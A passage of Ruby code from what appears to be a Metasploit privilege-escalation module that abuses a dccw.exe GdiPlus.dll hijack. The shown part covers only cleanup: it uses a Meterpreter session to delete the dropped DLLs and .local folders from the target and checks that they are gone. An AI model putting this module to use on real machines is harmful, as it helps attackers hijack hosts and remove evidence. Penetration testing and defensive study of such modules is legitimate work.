session.fs.file.rm("#{dirName}\\GdiPlus.dll")
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
vprint_error("Error => #{e.class} - #{e}")
|
||||
end
|
||||
|
||||
begin
|
||||
droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")
|
||||
session.fs.file.rm("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
vprint_error("Error => #{e.class} - #{e}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Remove folders from "C:\%TEMP%\dccw.exe.Local\" and "C:\Windows\System32\dccw.exe.Local\"
|
||||
def remove_winsxs_folders(session, directoryNames, file_paths, droppedElements)
|
||||
directoryNames.each do |dirName|
|
||||
directoryName = dirName.split("\\").last
|
||||
|
||||
begin
|
||||
droppedElements.push(dirName)
|
||||
session.fs.dir.rmdir(dirName)
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
vprint_error("Error => #{e.class} - #{e}")
|
||||
end
|
||||
|
||||
begin
|
||||
droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}")
|
||||
session.fs.dir.rmdir("#{file_paths[:szElevDllFull]}\\#{directoryName}")
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
vprint_error("Error => #{e.class} - #{e}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Remove "C:\Windows\System32\dccw.exe.Local" folder
|
||||
def remove_dot_local_folders(session, file_paths, droppedElements)
|
||||
begin
|
||||
droppedElements.push(file_paths[:szTempDllPath])
|
||||
session.fs.dir.rmdir(file_paths[:szTempDllPath])
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
vprint_error("Error => #{e.class} - #{e}")
|
||||
end
|
||||
|
||||
begin
|
||||
droppedElements.push(file_paths[:szElevDllFull])
|
||||
session.fs.dir.rmdir(file_paths[:szElevDllFull])
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
vprint_error("Error => #{e.class} - #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
# Check if have been successfully removed
|
||||
def removal_checking(droppedElements)
|
||||
successfullyRemoved = true
|
||||
|
||||
droppedElements.each do |element|
|
||||
begin
|
||||
stat = session.fs.file.stat(element)
|
||||
if stat
|
||||
print_error("Unable to delete #{element}!")
|
||||
successfullyRemoved = false
|
||||
end
|
||||
rescue ::Rex::Post::Meterpreter::RequestError => e
|
||||
vprint_error("Error => #{e.class} - #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
if successfullyRemoved
|
||||
print_good("All the dropped elements have been successfully removed")
|
||||
else
|
||||
print_warning("Could not delete some dropped elements! They will require manual cleanup on the target")
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue